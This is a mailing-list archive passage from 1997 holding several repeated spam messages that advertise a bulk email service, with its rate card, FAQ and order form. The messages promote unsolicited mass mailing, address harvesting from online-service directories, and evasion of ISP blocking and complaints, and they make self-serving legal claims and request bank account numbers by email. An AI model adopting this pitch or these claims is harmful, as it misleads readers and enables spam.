titors. Although we add addresses constantly, and are attempting to reach 10 MILLION addresses by 2nd quarter of 1997, it is difficult because we lose about 10% of our database each week to removal requests and undeliverables. 

19) What about undeliverables?
We are consistently losing about 10% of our list each week to undeliverables and removal requests (combined). In order to somewhat compensate our advertisers for this, without incurring all the logistical nightmares we would have to endure if we tried to
 account for removals and undeliverables for each particular mailing, we send 110% of the actual order amount as a general rule. For example, if you paid for 100,000 we send 110,000. This approach has worked very well for our customers. Also note that th
is becomes a less significant issue when the minimum response guarantee is taken into account.

Contact Info:
Quantum Communications
6 Laurel Lane
Stratham, NH 03885
(603) 772-4096
(603) 772-7297 fax
general correspondence: staff@quantcom.com
sales: sales@quantcom.com
customer service: cusserv@quantcom.com
http://www.quantcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:28:47 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: A Remarkable Income Opportunity!!
Message-ID: <19293503002867@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


 Enclosed is the information you requested from Quantum Communications
regarding bulk Email advertising services:

Contact Info: 
Quantum Communications 
6 Laurel Lane Stratham, NH 03885 
603-772-4096
603-772-7297 fax 
staff@quantcom.com (general email) 
sales@quantcom.com(sales) 
cusserv@quantcom.com (customer service)
http://www.quantcom.com

Quantum Communications
Proudly presents:
BULK E-MAIL ADVERTISING SERVICE!

Would you like to offer YOUR product or service to potential 
customers via E-mail?

Consider the advantages of sending your marketing letter ALONE or
Co-op to MILLIONS of persons directly via E-mail:
 + NO sharing of space in a cluttered publication
 + NO being buried amidst 100 other postcards in a card deck
 + NO wondering if your prospects will see/read your offer
 + NO having to fight for your prospect's attention
 + NO price-shopping, having your offering compared to others nearby it
 + EXTREMELY COST EFFECTIVE - as low as .009 cents per letter!!
 + Your piece/letter goes out ALONE or Co-op, depending on YOUR needs and
   budget
 + Everyone reads their Email!
 + NO need to wait for a publication date! We mail according to YOUR timetable, and all mail
   reaches the target within 1 day!

Bulk Email is the perfect way to reach new prospects! Our 
state-of-the-art servers and proprietary software allow us to 
send your offering to MILLIONS of fresh prospects. All names on our
list have been sent a test letter, enabling us to delete
undeliverables and persons who do not wish to receive unsolicited
Email advertisements. Therefore, all the prospects we send YOUR
offering to are responsive, quality prospects! As part of our standard
service package, we also provide the following:
 + An autoresponder,which allows a prospect to simply click reply and instantly receive a
complete package of detailed further information via Email from your
company (up to 20 pages in length!)
 + A unique Email address to which inquiries for your offering are forwarded, allowing you to build up
your own database of hot prospects.
 + Complete design/copy assistance based on your goals and objectives

We offer a service package designed to fit every need and budget!
Choose either General Bulk (your letter sent ALONE),
 Co-op Bulk (your ad sent with  others),
 or Targeted Bulk (custom-built lists to YOUR specs).

Consider the benefits of using Quantum Communications for sending your bulk
email advertising:

 * Highest quality list of hot prospects!
 * Largest database (over 5 million, mostly online service members, NOT
newsgroup posters)!
 * Lowest rates in the industry!
 * FREE features included such as autoresponders, email forwarding, and copy design
assistance!
 * No-Nonsense response rate guarantee!
 * 100% approved FINANCING. No one turned down!
 * Top-notch customer service. The best in the industry, as our references will confirm!
 * Targeted lists available, custom built for YOUR project!

Rate Card:
___________________________________________________
Bulk Email Advertising Service
Stand Alone Ad, up to 40 lines of text:

$299 per 100,000, in even lots of 100,000
____________________________________________________
Co-Op Bulk Email Advertising Service
THE "MEGA-MAILER"
Sent to our full database of 5 million hot prospects!
Sent with other ads, 

up to 5 lines of text: $599
6-10 lines of text: $849

lines are 70 characters (spaces count) long

number of pieces		5 MILLION       
_____________________________________________________
Targeted Bulk Email 
Stand Alone Ad, up to 40 lines of text:

under  10,000                               9.0 cents per piece
10,000 to 25,000                          8.5 cents per piece
25,000 to 50,000                          8 cents per piece
over 50,000                                  7.5 cents per piece

*Contact us with areas to target and we will quote
   you a price.  
______________________________________________________
PAYMENT TERMS: 
10 % Prepay Discount for 100% pre-pay OR
FINANCING- NO Credit check. ALL APPROVED!
50% down, balance broken up into 2 equal monthly installments.
EFT only ( drawn on US bank account ) for financing.

_____________________________________________________
No-Nonsense Response Rate Guarantee:

There are many scams alive on the Internet.
Although the Net represents the greatest opportunity for a business to
expand and grow that has ever existed, dozens of "snake-oil" purveyers
prey on such businesspeople daily.

 Bulk Email Advertising is, in effect, the grass-roots basis at the
 foundation of all Net
advertising.
 It is effective, economical, fast, relatively inexpensive
(in comparison with other media, sometimes almost ridiculously so); in
short - it works! The only glitch with this new advertising media is
the con artists, as we have mentioned.

 Quantum Communications is committed
to providing a quality service to advertisers at a reasonable price.
No, we do not offer to supposedly send out a billion email ads for
$39. No legitimate company can afford to promise that AND actually do
it. Unfortunately, by the time most advertisers find that out, they
have lost their money. We believe, instead, in guaranteeing our
responses at a minimum level so each and every advertiser can rest
assured that their money is well spent. We guarantee the following
minimum responses to your advertising piece. If the responses do not
reach the minimum amount, we will continue to include your piece in
our co-op (if it was a co-op), or we will continue to mail the piece
by itself, in sufficient amounts until the minimum responses are
reached. These replies are only the POSITIVE responses and inquiries.
Flames or negative replies, etc. are filtered by us, and you never see
them! (they of course are NOT counted towards your minimum response
guarantee).

 Minimum Responses:
 General Bulk Email: 100 replies per 200k pieces sent

"MEGA-MAILER"  Co-Op Bulk Email:  200 replies

Targeted Bulk Email: 150 replies per 5,000 pieces sent (3.%!)

 As you will notice, this fixes the MAXIMUM cost PER REPLY at $2-3.
 Knowing how much each reply will cost you AT THE MOST allows you to
 plan your marketing budget and plan for success!

This also causes us to take extra care when helping to examine your ad
copy and suggest any revisions. Professional ad copy design is
available for a surcharge of $80 per hour.
 We have a stake in making sure you succeed! We
have many references who will vouch for our resolve and character as a
company. Please feel free to call and speak with them. Also, feel free
to either email us ( staff@quantcom.com) or call our offices at (603)
772-4096 and speak with us at any time Mon-Fri, 9AM to 7PM EST

PAYMENT FOR SERVICES:
We accept personal and business checks and money orders. We DO NOT
accept credit cards at this time. If you would like to utilize your
credit card, we recommend you get a cash advance from the card and
deposit the funds into your personal or business chec

IMPORTANT NOTE:
All payments remitted must be in U.S. funds, drawn on a U.S. bank.
EFT's must be drawn on an account in a U.S. bank. International
customers outside the U.S. may either send an international bank money
order (cashiers/bank cheque) drawn on their bank in U.S. dollars (by
postal mail/overnight mail), or may have funds wired directly to our
U.S. bank account. Email or call

TO PLACE AN ORDER:
Please make sure and include all of the information listed below, plus
your ad copy (unless you are requesting we design it for you) and
autoresponder copy, if needed (again, unless we are designing it for
you). You may  place an order in one of four ways:

1) Call our sales dept at (603) 772-4096. One of our sales reps will
be happy to assist you, answer your questions, and help you get
started.

2) Email us your phone # and best time to call, and one of our
representatives will call you.

3) Send us an email with the following information included. Be sure
and include ALL information. If anything is unclear, please feel free
to email us (staff@quantcom.com) or call our sales dept. Also be sure
and include ad copy and autoresponder copy, in

4) Print out the following "Needed information" form, and fill it out.
Then fax it to us at 603-772-4096, or send it via postal (snail) mail
to: Quantum Communications, 6 Laurel Lane , Stratham, NH, 03885
(optionally, you may include a regular check/money order.

Your Email advertising will be sent within 10 business days. We can
handle staggered or variable send schedules but in all cases require
10 days lead time. You will be sent a copy of your mailing when it is
sent so you will know that it has been sent.

Needed information for  Processing of ad form order via email/fax:
Name: Contact: Postal Address: City,State,Zip: Voice Phone #: Fax
Phone #: Email Address: Services Ordered: (General Bulk / Targeted
Bulk / MEGA-MAILER) How many recipients? Do you need us to design ad
copy? (y/n)
 * If yes, there is an $80 surcharge for professional ad copy design,
 plus $80 per hour for autoresponse copy design
Total Price:
Referred by:
Do you need an autoresponder?
Do you have a preference of email alias? (whatyouwant@quantcom.com)

*** Make sure Ad Copy and Autoresponder copy are included or
attached***

Before filling out the payment info, please decide how you  will be
addressing the payment terms. See the section above on prices for
available terms.

Payment Info:
The following information is all located on the face of your check.
Please realize that providing the information electronically is no
different than sending a paper check. When a paper check is sent, all
the same account numbers are visible. 
Account name: 
Bank Name,City,& State:
Amount:$ 
Check #: 
Authorized Signature: 
Transit #:
(also referred to as the ABA routing number, this is the group of
numbers which is usually in the lower left portion of the check and is
enclosed in funny looking brackets that look like this |: The number
is exactly 9 digits long.)
 Account # :
(Another group of
numbers on the bottom edge of the check, should be the rest of the
numbers there besides the transit #. The check # should be part of
this grouping also. )

*** If you have any questions about
which numbers are which, simply call your bank and ask them what your
account # and transit # (or ABA routing #) are.***  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:30:33 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: A Remarkable Income Opportunity!!
Message-ID: <19293594102868@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Quantum Communications
Frequently Asked Questions (FAQ)
Direct Email Marketing

Contents:
1) What are your minimum orders?
2) Why can't I just do mailings myself?
3) What about Floodgate and other similar software mailing programs?
4) What if I have my own list?
5) What about the other Email Advertising companies?
6) What is the legal status of Email Advertising?
7) What about blocking by AOL?
8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
9) What is an "autoresponder"?
10) What about ad copy design?
11) What about proof-of-mailing?
12) What is the "response rate guarantee"? How does it work?
13) What is your mail sending capacity?
14) What is the average lead time before my ad can be sent?
15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
16) What categories are available for targeted lists?
17) Do you have sub-agent opportunities?
18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
19) What about undeliverables?
20) Contact Info

1) What are your minimum orders?
Our minimum orders are 5,000 pieces for targeted mailings (in even lots of 5,000), 100,000 pieces for stand-alone bulk mailings (in even lots of 100,000), and 5 MILLION for the MEGA-MAILER co-op mailing (the full 5 million is the only size). As long as y
our order is for at least  the minimum amount of pieces, and in even lot sizes, you may stagger the actual sendings any way you wish (50,000 per week, etc.). Note, however, that the MEGA-MAILER is only sent once per week and is sent to the full 5 million
 address list. The reason we have minimums at all is due to the fact that the majority of our cost in terms of man-hours comes as a result of setting up a mailing, and so we cannot spend the time and money to setup too small a job.

2) Why can't I just do mailings myself?
Technically, you can. For practical purposes, you can't. There are three reasons why it is implausible to even attempt to do your own Email Advertising:
  1) Every single internet service provider on the planet will shut down your account. You will not even get 1000 pieces of mail out, and you will be shut down, because some uptight, self-appointed net-cops will complain to your provider. Do not kid your
self. It WILL happen. Sending unsolicited commercial Email of any type is a violation of virtually every ISP's Terms of Service. Even if your ISP tells you it's OK (which will not happen 99% of the time), they will very quickly change their tune after th
eir technical people receive a mailbox full of angry mail (commonly referred to as flames). When your account is cancelled, you will NOT get a refund, and, worse yet, you won't even be able to retrieve your replies! 
  2) A very large technical capacity is required to send bulk Email. You MIGHT be able to send 5,000 or so pieces of mail per hour, with a 28.8 modem, except that with dial-up internet connections, there are always dropped connections and so you can neve
r be sure your mail went out unless you constantly sit and monitor the mailings all day and night, and send very small pieces at a time.
  3) In order to have a list of addresses to send to, you have two choices: either spend months collecting names, or purchase an over-used list from a list vendor, who has sold the same list to dozens of others, who will bomb the list into uselessness. I
n addition, most lists are so old that the names are 40% undeliverable, or from newsgroups, which are the WORST kinds of people to solicit. 
These three factors make it a practical impossibility to actually do your own bulk Email advertising, even though the vendors of the bulk Email software will not tell you this. The reason we do not have these hassles is because Quantum Communications IS 
OUR OWN INTERNET PROVIDER. We do not purchase service from anyone, and Email advertising is our only business! We have our own in-house servers, high-speed T-1 connections to the Internet, and full-time technical and customer service staff, yet our only 
customers are advertisers! Our lists are constantly maintained, updated, and cleansed, and are ONLY from high-quality sources. We DO NOT sell our names, or let anyone see them. See Question 18 for more on our lists. 

3) What about Floodgate and other similar software mailing programs?
Those programs can actually be fairly useful for extracting Email addresses and if you would like to build your own lists to your own specifications, that is an option (See Question 4 "What if I have my own list?"). However, building mailing lists is an 
EXTREMELY time-consuming and monotonous task, not to mention expensive in on-line charges. In addition, having these software programs will not help in the least in the sending issues you need to consider (See Question #2, above). We handle all aspects o
f the mailing process, leaving you free to concentrate on your business!

4) What if I have my own list?
We are fully able to use your list and send your mail to it. The price is 50% of what it would normally be. We simply have you Email or ftp your list to us, with ad copy (and autoresponse copy, if necessary).

5) What about the other Email Advertising companies?
There is some competition in  Direct Email marketing for your advertising dollar, and we have never purported to be the cheapest. We simply are the best. Most of the other "cheapo" companies who claim to offer a zillion pieces sent for $39, or some simil
ar lowball deal, are quite frankly, scams. No legitimate company can afford all of the hardware, software, and personnel that a true advertising company like ours posesses, without charging a reasonable fee for providing of the service. Most of the low-r
ent Email marketing companies are here-today, gone tomorrow. Perhaps gone with your money. Almost certainly gone without providing the actual service you paid for. Many of them look great until you investigate them further. Try calling them and getting a
 real live person on the phone. Or try asking them some of the questions referred to in this document. Most will disappear when you start asking serious questions. Or try asking for references. Good luck. There are so many fly-by night operators and snak
e-oil salesmen on the 'net, it is hard to know what to believe. But the basic truths in business hold true. You should be able to call and get a live person on the phone, you should be able to check references and ask pointed questions, you should have a
ccess to customer service and technical support, and you should be able to get a clear understanding of who you are dealing with, and how they do business. One mailing with us and you will be convinced that we truly are the cadillac of the industry.

6) What is the legal status of Email Advertising?
Direct Email Advertising and solicitation is legal. It always has been. There are many self-styled legal eagles who dislike Email solicitation, and they will sometimes misquote federal statutes which apply to sending of unsolicited FAXES. There has never
 been a higher-court ruling supporting this supposed link between Email and unsolicited FAX.
It is highly unlikely that such a ruling will EVER occur. If it does, we of course will need to adjust our business practices  to stay in accordance with the law. However, at the present time, and for the foreseeable future in our opinion, Email solicita
tion is just as legal as postal mail solicitation. The only real negative point which anti-Email advertising people address is that SOME people pay for their connect time at a timed/metered rate. Thus, the milliseconds which it takes to download an unsol
icited piece of mail does cost the recipient (albeit tiny fractions of a penny). However, almost all ISP's (even America Online) have moved, or will be forced by competition to move, to an unlimited time rate structure. Therefore, this will no longer be 
an issue, and the persons who oppose Email advertising will have no legs to stand on. As this happens, Email advertising will become exactly like postal mail solicitation ( it is actually LESS intrusive than postal  junk mail), and therefore we believe i
t will NOT be regulated or legislated against.
 As a side note, we do provide a very clear, brief disclaimer at the header of ALL of our mailings which gives quick, simple removal instructions for persons who do not want to be on our lists. We act on all such requests immediately. In fact, it is an a
utomated process. We do not want to be sending mail to unwilling recipients any more than they wish to receive it.

7) What about blocking by AOL?
America Online has recently taken to blocking Email solicitations to it's members by certain Email Advertising companies. These companies are the ones who had been abusing their power, and had in fact been over-mailing (sending multiple pieces to the sam
e recipients PER DAY). The most well-known of these companies was Cyber-Promotions. We feel that since we only send mail no more than 3 times per week to any single recipient, AOL is unlikely to begin blocking our transmissions. We also could take counte
rmeasures technically and send to them again if necessary. However, our list only consists of about 25% AOL members, and that percentage is shrinking, as most of our newer names are coming from indepedent ISP sources (see Question # 18), so a blockage, w
hile unlikely, would not affect us in the least in any event. Incidentally, we find it interesting that AOL does not apparently mind soliciting it's members (one cannot be online with them without getting at least 3 pop-up ads PER SESSION), they simply d
on't want others soliciting their members without compensating THEM.

8) What is "flame-filtering"/"Email Aliasing" ? Will anyone see my real Email address or complain to my provider?
Flames are the hate mail which is a part of Email soliciting today. Flame filtering is the automated filtering process we use to ensure that replies forwarded to you (by us) are only positive, serious inquiries, requests for information, orders, etc. We 
assign customers an Email alias at OUR domain. We are the only ones who know your REAL Email address. We then have all replies to your advertising sent to the alias we have assigned you so that we can filter out flames, then forward the "good" replies to
 you. No one can complain to your ISP, because as far as anyone knows, WE are your ISP (and we of course will not pay any attention, except to promptly remove them from our lists). In this way, you are totally insulated and protected, while still getting
 all "good" replies! Good replies are forwarded to you automatically as they come in. There is NO lag time or waiting.

9) What is an "autoresponder"?
An Autoresponder is just an Email alias which we can have prospects who see your advertising respond to. When the response hits the autoresponder, it kicks back an automatic text file reply via Email, which is typically a more detailed package of informa
tion (up to 20 pages)  regarding your product or service. This effectively helps you weed out the "tire-kickers", so you are free to concentrate on fulfilling orders and more serious requests. A typical procedure is for a small "teaser" ad to be sent, wi
th an autoresponder as the reply-to address. In the autoresponse text, you would typically include another Email alias for orders or more serious or specific questions.

10) What about ad copy design?
We do have a copy editor on staff who is available to either write your copy from scratch or revise existing copy you already have. This is usually a wise investment, because the copy can be reused many times in different mailings, it will be done by a s
easoned professional with over 10 years of experience in copywriting, and the actual copy is more than anything the key difference between success and failure when doing an Email marketing campaign. Think about it. Email is text only. No graphics, no mov
ing pictures, sounds or colors. The content is all-important.
 Charges are $80 per hour, with typical costs being 1/2 hour for a revision, 1 hour for a small ad design, and 3 or more hours for design of ad copy plus autoresponse copy.

11) What about proof-of-mailing?
When sending mail via the US Postal Service, a proof of mailing receipt is provided. There is no such counterpart in the world of Email. Although you will receive confirmation of your mailing once it is sent, the best way to become comfortable with deali
ng with us is by first talking with our references, then by doing a single mailing to see what we can do for you. Once you have done business with us you will agree that we deliver exactly what we promise. Our minimum response rate guarantee is further e
vidence of this, and renders the question of a proof of mailing as somewhat moot. We do actually have a log of all sent mail which is generated by our mailing software, but we only disclose the log under extenuating circumstances, and for a fee of $50 pe
r 100,000 pieces sent, as it lists every mail sent, which discloses our list.

12) What is the "response rate guarantee"? How does it work?
Our unique "response rate guarantee" is a clear indication of not only our rock-solid commitment to each and every advertiser, but also of our belief in direct Email advertising as a marketing medium. We know of no other advertising agency (Email or othe
rwise) who actually GUARANTEES a minimum number of responses. Our guarantee is the following:
  1) If you do not receive AT LEAST the minimum guaranteed responses from your Email Advertising, we will send on your behalf again, and again, and again..until you get the minimum amount!
  2) You must allow 10 business days from the date your mailing was completed and you received confirmation, before requesting a remailing.
  3) Of course, only positive, interested replies are counted towards your guaranteed minimum.
  4) For this guarantee to apply, we must be able to verify the amount of replies you receive, so your ad must direct interested persons to an autoresponder or Email alias which we provide.
  5) Any remailings are done on the same scale and amount as the original mailing, but to different recipients (except for the MEGA-MAILER or targeted lists)).
  6) You must request a remailing by sending an Email to our customer service department, or by calling our office (ask to speak to customer service). We do not monitor replies automatically and automatically resend.
  7) You may, at no charge, alter your original advertisement in any way you wish, as long as it is the same type of mailing as the original (targeted must be to the same group), and the same length as paid for in the original. Optionally, you may have t
he ad revised professionally by us (See Question # 10). 
The Minimum responses guaranteed are as follows. We have had to make the numbers guaranteed purposefully low, because we extend this guarantee to ALL advertisers, regardless of whether or not they have effective ad copy or an appealing product or service
. We of course strive for much higher responses for everyone, but is helpful to know that there is a "safety net", just in case.
MINIMUMS:
GENERAL STAND-ALONE BULK: 100 REPLIES PER 200,000 PIECES SENT
TARGETED BULK: 150 REPLIES PER 5,000 PIECES SENT
MEGA-MAILER: 200 REPLIES
This allows advertisers to plan on a maximum cost per inquiry, which can be essential when planning a marketing budget. This guarantee, more than any other single factor, shows that Quantum Communications is a cut above the rest in the world of Marketing
 and Advertising!

13) What is your mail sending capacity?
We have the technical capacity to send over 2 million pieces of mail per day. We have invested heavily in hardware, software, and high-speed mail transmission facilities to be able to achieve this capacity. We can handle your job, large or small. 

14) What is the average lead time before my ad can be sent?
The current lead time is 7-10 business days. This allows time for your ad copy to be submitted and for any revisions you may have before the mailing date. We actually work very hard to keep the lead times to a minimum, however, there has been a very high
 demand for Email advertising services, and it has been difficult just keeping up. If you have a special need to expedite an order, call or Email our customer service department, and we will make every effort to accomodate you.

15) What type of mailing should I do? (Bulk stand-alone, MEGA-MAILER co-op, Targeted mail)
This depends entirely on your product or service. If you have a product or service which has a broad-based appeal, it is definetely better to send to a larger group of people. If you have an offering which you think needs 20-30 lines to entice people or 
grab their interest, then you need a stand-alone (the MEGA-MAILER is not for you). If you are announcing a website and just want mass exposure to 5 MILLION people, the MEGA-MAILER is just the thing. Of course, if you are trying to reach a select group, y
ou need to have a targeted mailing. You may Email or call our sales department and a sales representative will be happy to assist you in selecting the right type of mailing to suit your offering.

16) What categories are available for targeted lists?
We custom build all of our targeted lists from scratch, and 90% of our targeted lists are never re-used. We are able to build a custom-designed list to YOUR specifications. So, in other words, you tell US what the category is, or the demographics of the 
persons or businesses you are trying to reach. We then get an estimate from our List staff for approximately how many names we will commit to being able to find. Our sales staff will work with you on this issue. Of course, it is always a much lower volum
e of names than a normal bulk list, but we have seen response rates of over 5% when mailing a targeted group!

17) Do you have sub-agent opportunities?
Yes we do.
We are currently accepting sub-agents who wish to promote and re-sell our services, or simply send us referrals.
For a copy of our agent registration kit via Email, send an Email to agent@quantcom.com

18) What is your list like, where are the names from, how big is it, how do you maintain it, etc?
Our Lists department is continually extracting fresh names for our lists from many sources. The sources include the membership directories of all the major online services (AOL, Compuserve, Prodigy, Delphi, MSN), plus the "white pages" Email databases su
ch as 411, IAF, etc. We NEVER extract names from newsgroups, except to build targeted lists. We NEVER send mail to Listserv's, .edu's, .gov's, etc. We automatically delete removal requests immediately, as well as undeliverables. We add 400,000 to 800,000
 fresh addresses each week. For these reasons, we feel that we have a super-high quality database, which consists of over 6 MILLION addresses. This high list quality is another feature of our service, and boosts response rates dramatically over our compe
titors. Although we add addresses constantly, and are attempting to reach 10 MILLION addresses by 2nd quarter of 1997, it is difficult because we lose about 10% of our database each week to removal requests and undeliverables. 

19) What about undeliverables?
We are consistently losing about 10% of our list each week to undeliverables and removal requests (combined). In order to somewhat compensate our advertisers for this, without incurring all the logistical nightmares we would have to endure if we tried to
 account for removals and undeliverables for each particular mailing, we send 110% of the actual order amount as a general rule. For example, if you paid for 100,000 we send 110,000. This approach has worked very well for our customers. Also note that th
is becomes a less significant issue when the minimum response guarantee is taken into account.

Contact Info:
Quantum Communications
6 Laurel Lane
Stratham, NH 03885
(603) 772-4096
(603) 772-7297 fax
general correspondence: staff@quantcom.com
sales: sales@quantcom.com
customer service: cusserv@quantcom.com
http://www.quantcom.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:35:26 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: ATTENTION HOMEOWNER
Message-ID: <19343737402878@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


 Enclosed is the information you requested from Quantum Communications
regarding bulk Email advertising services:

Contact Info: 
Quantum Communications 
6 Laurel Lane Stratham, NH 03885 
603-772-4096
603-772-7297 fax 
staff@quantcom.com (general email) 
sales@quantcom.com(sales) 
cusserv@quantcom.com (customer service)
http://www.quantcom.com

Quantum Communications
Proudly presents:
BULK E-MAIL ADVERTISING SERVICE!

Would you like to offer YOUR product or service to potential 
customers via E-mail?

Consider the advantages of sending your marketing letter ALONE or
Co-op to MILLIONS of persons directly via E-mail:
 + NO sharing of space in a cluttered publication
 + NO being buried amidst 100 other postcards in a card deck
 + NO wondering if your prospects will see/read your offer
 + NO having to fight for your prospect's attention
 + NO price-shopping, having your offering compared to others nearby it
 + EXTREMELY COST EFFECTIVE - as low as .009 cents per letter!!
 + Your piece/letter goes out ALONE or Co-op, depending on YOUR needs and
   budget
 + Everyone reads their Email!
 + NO need to wait for a publication date! We mail according to YOUR timetable, and all mail
   reaches the target within 1 day!

Bulk Email is the perfect way to reach new prospects! Our 
state-of-the-art servers and proprietary software allow us to 
send your offering to MILLIONS of fresh prospects. All names on our
list have been sent a test letter, enabling us to delete
undeliverables and persons who do not wish to receive unsolicited
Email advertisements. Therefore, all the prospects we send YOUR
offering to are responsive, quality prospects! As part of our standard
service package, we also provide the following:
 + An autoresponder,which allows a prospect to simply click reply and instantly receive a
complete package of detailed further information via Email from your
company (up to 20 pages in length!)
 + A unique Email address to which inquiries for your offering are forwarded, allowing you to build up
your own database of hot prospects.
 + Complete design/copy assistance based on your goals and objectives

We offer a service package designed to fit every need and budget!
Choose either General Bulk (your letter sent ALONE),
 Co-op Bulk (your ad sent with  others),
 or Targeted Bulk (custom-built lists to YOUR specs).

Consider the benefits of using Quantum Communications for sending your bulk
email advertising:

 * Highest quality list of hot prospects!
 * Largest database (over 5 million, mostly online service members, NOT
newsgroup posters)!
 * Lowest rates in the industry!
 * FREE features included such as autoresponders, email forwarding, and copy design
assistance!
 * No-Nonsense response rate guarantee!
 * 100% approved FINANCING. No one turned down!
 * Top-notch customer service. The best in the industry, as our references will confirm!
 * Targeted lists available, custom built for YOUR project!

Rate Card:
___________________________________________________
Bulk Email Advertising Service
Stand Alone Ad, up to 40 lines of text:

$299 per 100,000, in even lots of 100,000
____________________________________________________
Co-Op Bulk Email Advertising Service
THE "MEGA-MAILER"
Sent to our full database of 5 million hot prospects!
Sent with other ads, 

up to 5 lines of text: $599
6-10 lines of text: $849

lines are 70 characters (spaces count) long

number of pieces		5 MILLION       
_____________________________________________________
Targeted Bulk Email 
Stand Alone Ad, up to 40 lines of text:

under  10,000                               9.0 cents per piece
10,000 to 25,000                          8.5 cents per piece
25,000 to 50,000                          8 cents per piece
over 50,000                                  7.5 cents per piece

*Contact us with areas to target and we will quote
   you a price.  
______________________________________________________
PAYMENT TERMS: 
10 % Prepay Discount for 100% pre-pay OR
FINANCING- NO Credit check. ALL APPROVED!
50% down, balance broken up into 2 equal monthly installments.
EFT only ( drawn on US bank account ) for financing.

_____________________________________________________
No-Nonsense Response Rate Guarantee:

There are many scams alive on the Internet.
Although the Net represents the greatest opportunity for a business to
expand and grow that has ever existed, dozens of "snake-oil" purveyers
prey on such businesspeople daily.

 Bulk Email Advertising is, in effect, the grass-roots basis at the
 foundation of all Net
advertising.
 It is effective, economical, fast, relatively inexpensive
(in comparison with other media, sometimes almost ridiculously so); in
short - it works! The only glitch with this new advertising media is
the con artists, as we have mentioned.

 Quantum Communications is committed
to providing a quality service to advertisers at a reasonable price.
No, we do not offer to supposedly send out a billion email ads for
$39. No legitimate company can afford to promise that AND actually do
it. Unfortunately, by the time most advertisers find that out, they
have lost their money. We believe, instead, in guaranteeing our
responses at a minimum level so each and every advertiser can rest
assured that their money is well spent. We guarantee the following
minimum responses to your advertising piece. If the responses do not
reach the minimum amount, we will continue to include your piece in
our co-op (if it was a co-op), or we will continue to mail the piece
by itself, in sufficient amounts until the minimum responses are
reached. These replies are only the POSITIVE responses and inquiries.
Flames or negative replies, etc. are filtered by us, and you never see
them! (they of course are NOT counted towards your minimum response
guarantee).

 Minimum Responses:
 General Bulk Email: 100 replies per 200k pieces sent

"MEGA-MAILER"  Co-Op Bulk Email:  200 replies

Targeted Bulk Email: 150 replies per 5,000 pieces sent (3.%!)

 As you will notice, this fixes the MAXIMUM cost PER REPLY at $2-3.
 Knowing how much each reply will cost you AT THE MOST allows you to
 plan your marketing budget and plan for success!

This also causes us to take extra care when helping to examine your ad
copy and suggest any revisions. Professional ad copy design is
available for a surcharge of $80 per hour.
 We have a stake in making sure you succeed! We
have many references who will vouch for our resolve and character as a
company. Please feel free to call and speak with them. Also, feel free
to either email us ( staff@quantcom.com) or call our offices at (603)
772-4096 and speak with us at any time Mon-Fri, 9AM to 7PM EST

PAYMENT FOR SERVICES:
We accept personal and business checks and money orders. We DO NOT
accept credit cards at this time. If you would like to utilize your
credit card, we recommend you get a cash advance from the card and
deposit the funds into your personal or business chec

IMPORTANT NOTE:
All payments remitted must be in U.S. funds, drawn on a U.S. bank.
EFT's must be drawn on an account in a U.S. bank. International
customers outside the U.S. may either send an international bank money
order (cashiers/bank cheque) drawn on their bank in U.S. dollars (by
postal mail/overnight mail), or may have funds wired directly to our
U.S. bank account. Email or call

TO PLACE AN ORDER:
Please make sure and include all of the information listed below, plus
your ad copy (unless you are requesting we design it for you) and
autoresponder copy, if needed (again, unless we are designing it for
you). You may  place an order in one of four ways:

1) Call our sales dept at (603) 772-4096. One of our sales reps will
be happy to assist you, answer your questions, and help you get
started.

2) Email us your phone # and best time to call, and one of our
representatives will call you.

3) Send us an email with the following information included. Be sure
and include ALL information. If anything is unclear, please feel free
to email us (staff@quantcom.com) or call our sales dept. Also be sure
and include ad copy and autoresponder copy, in

4) Print out the following "Needed information" form, and fill it out.
Then fax it to us at 603-772-4096, or send it via postal (snail) mail
to: Quantum Communications, 6 Laurel Lane , Stratham, NH, 03885
(optionally, you may include a regular check/money order.

Your Email advertising will be sent within 10 business days. We can
handle staggered or variable send schedules but in all cases require
10 days lead time. You will be sent a copy of your mailing when it is
sent so you will know that it has been sent.

Needed information for  Processing of ad form order via email/fax:
Name: Contact: Postal Address: City,State,Zip: Voice Phone #: Fax
Phone #: Email Address: Services Ordered: (General Bulk / Targeted
Bulk / MEGA-MAILER) How many recipients? Do you need us to design ad
copy? (y/n)
 * If yes, there is an $80 surcharge for professional ad copy design,
 plus $80 per hour for autoresponse copy design
Total Price:
Referred by:
Do you need an autoresponder?
Do you have a preference of email alias? (whatyouwant@quantcom.com)

*** Make sure Ad Copy and Autoresponder copy are included or
attached***

Before filling out the payment info, please decide how you  will be
addressing the payment terms. See the section above on prices for
available terms.

Payment Info:
The following information is all located on the face of your check.
Please realize that providing the information electronically is no
different than sending a paper check. When a paper check is sent, all
the same account numbers are visible. 
Account name: 
Bank Name,City,& State:
Amount:$ 
Check #: 
Authorized Signature: 
Transit #:
(also referred to as the ABA routing number, this is the group of
numbers which is usually in the lower left portion of the check and is
enclosed in funny looking brackets that look like this |: The number
is exactly 9 digits long.)
 Account # :
(Another group of
numbers on the bottom edge of the check, should be the rest of the
numbers there besides the transit #. The check # should be part of
this grouping also. )

*** If you have any questions about
which numbers are which, simply call your bank and ask them what your
account # and transit # (or ABA routing #) are.***  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sid Westcott" <sales@quantcom.com>
Date: Sat, 25 Jan 1997 11:33:41 -0800 (PST)
To: "cypherpunks@toad.com>
Subject: Re: Re: ATTENTION HOMEOWNER
Message-ID: <19343827602879@quantcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Quantum Communications
Frequently Asked Questions (FAQ)
Direct Email Marketing

Contents:
1) What are your minimum orders?
